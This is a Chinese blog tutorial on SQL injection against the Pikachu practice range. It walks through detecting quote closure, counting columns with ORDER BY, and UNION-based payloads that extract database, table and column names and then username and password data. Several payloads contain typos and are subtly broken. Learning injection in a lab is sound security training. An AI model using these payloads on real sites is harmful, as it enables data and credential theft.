• 今年十八,喜欢SQL注入


    #1024程序员节|用代码,改变世界#

    前言

    🍀作者简介:被吉师散养、喜欢前端、学过后端、练过CTF、玩过DOS、不喜欢java的不知名学生。

    🍁个人主页:被吉师散养的职业混子

    🫒每日emo:怀揣着。。

    🍂相应专栏:CTF专栏

     Pikachu靶场安装

    mirrors / zhuifengshaonianhanlu / pikachu · GitCode

    Pikachu靶场作为为数不多的中文靶场,做得可以说是很优秀了。

     进入此处路径,按注释修改

     修改完成后浏览器访问

     当然后缀按你们自己的命名而定。

    SQL注入的顺序:

    库名,表名,字段名,数据

    首先明确SQL注入的前提:

    1、我们输入的参数是可以修改的

    2、参数可以被传到数据库中

    判断闭合类型

    单引号闭合

    如果在输入1’后报错

    首先观察报错信息,去掉最外面的一对单引号(因为报错的时候会自动在外面加一对双引号)

    然后观察是否多了一个单引号

    如果多,证明为单引号闭合

    此时输入双引号则不会报错

    双引号反之

    数字型

    输入例如1与2-1若返回结果相同,则为数字型闭合

    也可以通过注释来处理

    1. ?id=1//get方法 url传参 #注释
    2. ?id=1 %23 //post方法 url传参 #注释

    具体步骤

    1. 判断闭合符

    按上述方法即可

          2.判断列数

    联合查询

    联合查询要求前后字段必须相等

    同时在已知库名/其他,可以通过下述内容进行撰写

    information_schema.schemata:记录数据库信息的表
    information_schema.tables:记录表名信息的表
    information_schema.columns:记录列名信息的表
    schema_name 数据库名
    table_name 表名
    column_name 列名
    table_schema 数据库名 

     关于这里的两个数据库名,可以如下进行区分

    schema_name 数据库名相当于是一个个房间

    table_schema 数据库名 ,则相当于房间里的床

    该概念引自

     数据库中table 和 schema的区别 - panda521 - 博客园

    原链接在此。

            1.order by方法

    根据username进行排序

    select id,username,passwd from t_user order by username;

    根据数字进行排序:

    select id,username,passwd from t_user order by 4;

    若第四个字段不存在,则会报错

    1. ?id=1' order by 4# 报错
    2. ?id=1 order by 3 # 不报错

    可以推导出第一个查询语句有三个字段

    注入流程

            0、按上述方法判断闭合类型

            1.查数据库名

    ?id=-1 union select 1,database(),1#

    注意,此处的-1需要是一个在数据库中id字段不存在的值,否则第一条信息会占用显示位,导致无法看到咱们需要看的查询数据

          2.查表名

    group_concat(fileds)函数表示查询结果中的多条纪录合并为一行显示,默认使用逗号 分隔。 

    ?id=-1' union select 1,group_concat(table_name),1 from information_schema.tables where table_schem=database()#

    当然,也可以这样,直接

    1 union select 1,table_name from information_schema.tables where table_schem ='库名’#

    好像也行

    3.查列名

    ?id=-1' union select 1,group_concat(column_name),1 from information_schema.columns where table_schema=database() and table_name='user'#

    4.查数据

    ?id=-1' and select 1,group_concat(concat(0x7e,username,0x7e,passwd,0x7e)),1 from user#

     通过查询concat()可知:该函数将每一条记录的每一个字段拼接成一个字符串,0x7e表示~,作为一个分割符出现。

  • 相关阅读:
    Ubuntu20.04下安装nvidia驱动
    Latex常用疑难字符及表达式
    nuxt3打包后请求页面不渲染
    工作流-流程实例【ProcessInstance】与执行实例【Execution】
    Kubernetes—资源管理
    Docker实战:Docker安装WordPress,快速搭建自己的博客
    进程控制(跑路人笔记)
    python模块(二)
    fastdfs-client-java-1.30 maven 打包安装
    分享一个500页面给大家
  • 原文地址:https://blog.csdn.net/m0_55400802/article/details/127458779